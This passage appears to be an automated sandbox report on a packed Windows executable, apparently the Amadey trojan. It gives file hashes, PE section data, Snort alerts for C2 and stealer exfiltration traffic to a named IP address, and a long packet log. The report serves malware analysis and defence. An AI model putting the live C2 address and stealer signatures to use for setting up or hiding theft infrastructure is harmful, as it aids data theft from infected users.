zbML3c,ziXSP,ziZ8Mc,zr1jrb,zu7j8,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHYVIY_xDR0LysuBLCMtKRhPVvgNQ/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:NoODMc;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=wg1P6b"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.qMa=_.y("wg1P6b",[_.tx,_.El,_.Kl]);._.k("wg1P6b");.var m1a=function(a,b){b=b\|\|_.Ja;for(var c=0,d=a.length,e;c<d;){var f=c+(d-c>>>1);var h=b(0,a[f]);0<h?c=f+1:(d=f,e=!h)}return e?c:-c-1},n1a=function(a,b){for(;b=b.previousSibling;)if(b==a)return-1;return 1},o1a=function(a,b){var c=a.parentNode;if(c==b)return-1;for(;b.parentNode!=c;)b=b.parentNode;return n1a(b,a)},p1a=function(a,b){if(a==b)return 0;if(a.compareDocumentPosition)return a.compareDocumentPosition(b)&2?1:-1;if(_.xg&&!(9<=Number(_.Eg))){if(9==a.nodeType)return-1;if(9==b.nodeType)return 1}if("sourceIndex"in.a\|\|a.parentNode&&"sourceIndex"in a.parentNode){var c=1==a.nodeType,d=1==b.nodeType;if(c&&d)return a.sourceIndex-b.sourceIndex;var e=a.parentNode,f=b.parentNode;return e==f?n1a(a,b):!c&&_.hh(e,b)?-1*o1a(a,b):!d&&_.hh(f,a)?o1a(b,a):(c?a.sourceIndex:e.sourceIndex)-(d?b.sourceIndex:f.sourceIndex)}d=_.Vg(a);c=d.create

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (682)
Category:	downloaded
Size (bytes):	4126
Entropy (8bit):	5.355816676246375
Encrypted:	false
SSDEEP:	96:GOFB1Kce2eMXmvci7UccRyDlyiKenjwf9Xn6Ow:93Kcri7U1RyDlyiKenjUN6b
MD5:	C18D7346DE40A0E15C7AD41BDC248E21
SHA1:	1AA3B333CABC332A486E1390FE223ECA98CE9BBE
SHA-256:	555F0968B40AA581D32E1802451B0B941875D0A7571CFCDDD3703BF83FE0DF24
SHA-512:	115945EF71ECF7A1FC00775596237E542F90E733D249C38313653E9FEC086666A7A25714EE432BD3AB50A88E917EEE10696C3E445C127B1AFA71860D8AFA1EA4
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.eIcQTVVx-II.es5.O/ck=boq-identity.AccountsSignInUi.abUGhSwZr5E.L.B1.O/am=PsAiunEsAGLEeeADFAVCBgAAAAAAAAAArQFmBg/d=1/exm=A7fCU,AvtSve,CMcBD,COQbmf,E87wgc,EEDORb,EFQ78c,EN3i8d,Fndnac,I6YDgd,IZT63,K0PMbc,K1ZKnb,KG2eXe,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,Mlhmy,MpJwZc,NOeYWe,NwH0H,O6y8ed,OTA3Ae,OmgaI,PHUIyb,PrPYRd,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,U0aPgd,UUJqVe,Uas9Hd,VwDzFe,YHI3We,YTxL4,YgOFye,ZfAoz,_b,_tp,aC1iue,aW3pY,aurFic,b3kMqb,bSspM,bTi8wc,byfTOb,eVCnO,f8Gu1e,fKUV3e,gychg,hc6Ubd,inNHtf,kWgXee,lsjVmc,ltDFwf,lwddkf,mvkUhe,n73qwf,njlZCf,oLggrd,ovKuLd,pxq3x,qPYxq,qPfo0c,qmdT9,rmumx,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,w9hDv,ws9Tlc,xBaz7b,xQtZb,xUdipf,xiZRqc,yDVVkb,yRXbo,ywOR5c,zbML3c,ziZ8Mc,zr1jrb,zu7j8,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHYVIY_xDR0LysuBLCMtKRhPVvgNQ/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:NoODMc;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=NTMZac,sOXFj,q0xTif,ZZ4WUe"
Preview:	"use strict";_F_installCss(".N7rBcd{overflow-x:auto}sentinel{}");.this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.qf(_.Xna);._.k("sOXFj");.var Kq=function(a){_.I.call(this,a.Ha)};_.A(Kq,_.I);Kq.Na=_.I.Na;Kq.Ba=_.I.Ba;Kq.prototype.aa=function(a){return a()};_.Eq(_.Wna,Kq);._.l();._.k("oGtAuc");._.Jta=new _.xe(_.Xna);._.l();._.k("q0xTif");.var Fua=function(a){var b=function(d){_.Rl(d)&&(_.Rl(d).yc=null,_.Xq(d,null));d.XyHi9&&(d.XyHi9=null)};b(a);a=a.querySelectorAll("[c-wiz]");for(var c=0;c<a.length;c++)b(a[c])},ir=function(a){_.gp.call(this,a.Ha);this.Qa=this.dom=null;if(this.xi()){var b=_.lk(this.Kf(),[_.Jk,_.Ik]);b=_.th([b[_.Jk],b[_.Ik]]).then(function(c){this.Qa=c[0];this.dom=c[1]},null,this);_.xq(this,b)}this.Ma=a.yh.W7};_.A(ir,_.gp);ir.Ba=function(){return{yh:{W7:function(){return _.ff(this)}}}};ir.prototype.getContext=function(a){return this.Ma.getContext(a)};.ir.prototype.getData=function(a){return this.Ma.getData(a)};ir.protot

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.538476825951095
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	UeW2b6mU6Z.exe
File size:	3'102'720 bytes
MD5:	a0de5117f2db3409eeb42464b5c2e811
SHA1:	20300a63f6c8ccce917110e53bd8d4f1a49407fc
SHA256:	3ed276242a69770fe215a6cb9941f57e24eb2289635c65c54353fe62ea015e8e
SHA512:	88c3d52902dd3ed6acb8a525f944b481e8a4c3a7726ab8220e5c9b5981a6ee41f790c5f35323e902b63e9c2c924723ae301819130506906d32b54c334d46e5d3
SSDEEP:	49152:hrS87rJwyCOjzzXkKkuVVofoPEiNOlpRV1or6/mM4:hrv7CdOjzz0KkuYfoPbNWnLor6+M
TLSH:	00E53B91B80676DFD48E27789837CD42B95D46BA0F1048C3D868F4BABE67EC115BBC24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d.Y@...@...@....m..Q....m.......h..R....h..W....h..5....m..U....m..S...@........k..A....k1.A....k..A...Rich@...........PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x730000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x65E4126F [Sun Mar 3 06:02:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F17B0B7E8BAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a056	0x6a	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x32e088	0x10	ldcfgzdi
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32e038	0x18	ldcfgzdi
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2ea00	67f00aefd128e228052b23eac1044ca1	False	0.9979945123994638	data	7.980021515405835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	2015dbcf1bfccf98859d2fe22b3b7638	False	0.58203125	data	4.50192725214692	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	17662c92043abde8b4b3074dcc401ca6	False	0.1484375	data	1.0249469107790772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ldcfgzdi	0x6b000	0x2c4000	0x2c3400	d611ec21dc8e3c226da1e00e2fd61aaa	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
thopgwrw	0x32f000	0x1000	0x400	cec59e6964e789ca7c205d2d3ec279ba	False	0.6943359375	data	5.588053794121023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x330000	0x3000	0x2200	057dcb7696e766595f52a45e5eb2ba72	False	0.05916819852941176	DOS executable (COM)	0.727892266733351	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x32e098	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/18/24-23:40:02.863199	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49737	80	192.168.2.4	193.233.132.56
04/18/24-23:40:07.375855	TCP	2855239	ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST)	49741	80	192.168.2.4	193.233.132.56
04/18/24-23:40:12.178420	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49745	80	192.168.2.4	193.233.132.56
04/18/24-23:40:03.371711	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49737	193.233.132.56	192.168.2.4
04/18/24-23:40:16.820946	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49762	80	192.168.2.4	193.233.132.56
04/18/24-23:40:08.396150	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49743	80	192.168.2.4	193.233.132.56
04/18/24-23:40:07.623211	TCP	2856151	ETPRO TROJAN Amadey CnC Activity M7	49742	80	192.168.2.4	193.233.132.56

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 23:38:48.719891071 CEST	49678	443	192.168.2.4	104.46.162.224
Apr 18, 2024 23:38:49.844746113 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 18, 2024 23:38:59.454037905 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 18, 2024 23:39:11.258419037 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:11.258454084 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:11.258531094 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:11.268212080 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:11.268227100 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:11.645950079 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:11.646085024 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:11.649497986 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:11.649511099 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:11.650167942 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:11.704051018 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.146677017 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.192121029 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382205009 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382266045 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382287979 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382348061 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382352114 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.382396936 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382427931 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382462978 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382481098 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.382481098 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.382481098 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.382482052 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382503986 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382505894 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.382534981 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382543087 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.382580042 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.382587910 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382744074 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.382791996 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.625402927 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.625427961 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:12.625437975 CEST	49730	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:12.625444889 CEST	443	49730	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.118665934 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.118714094 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.118807077 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.119297028 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.119323015 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.497654915 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.497903109 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.504230976 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.504271984 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.504530907 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.516669989 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.560132027 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.850522995 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.850583076 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.850625992 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.850725889 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.850759029 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.850779057 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.850805044 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.850821018 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.850874901 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.850887060 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.850895882 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.850941896 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.850950956 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.851003885 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.851056099 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.860881090 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.860918045 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:39:49.860938072 CEST	49736	443	192.168.2.4	20.12.23.50
Apr 18, 2024 23:39:49.860946894 CEST	443	49736	20.12.23.50	192.168.2.4
Apr 18, 2024 23:40:02.617769003 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:02.617785931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:02.862747908 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:02.862893105 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:02.863198996 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:02.866123915 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:02.866214991 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:02.866338968 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.108371019 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.108463049 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.108520985 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.113451958 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.114280939 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.114480972 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.114547014 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.114594936 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.114613056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.114630938 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.114650011 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.114666939 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.114686012 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.114701986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.114717007 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.114732981 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.114734888 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.114746094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.114746094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.114746094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.114746094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.114746094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.114770889 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.358289003 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.362818956 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.362833977 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.362853050 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.362864971 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.362900972 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.362915039 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.362926960 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.362937927 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.362938881 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.362938881 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.362938881 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.362978935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.362978935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.362982988 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.362996101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.363007069 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.363018990 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.363029957 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.363042116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.363053083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.363065004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.363065004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.363065004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.363081932 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.363115072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.363123894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.363130093 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.363142967 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.363154888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.363158941 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.363167048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.363176107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.363197088 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.363197088 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.371711016 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.371769905 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.375531912 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.611155033 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611210108 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611248970 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611287117 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611293077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611324072 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611325979 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611362934 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611396074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611398935 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611413956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611435890 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611459017 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611483097 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611500025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611515045 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611529112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611569881 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611573935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611573935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611573935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611573935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611593962 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611610889 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611618042 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611650944 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611671925 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611706972 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611743927 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611799955 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611836910 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611849070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611849070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611849070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611849070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611874104 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611911058 CEST	80	49738	193.233.132.56	192.168.2.4
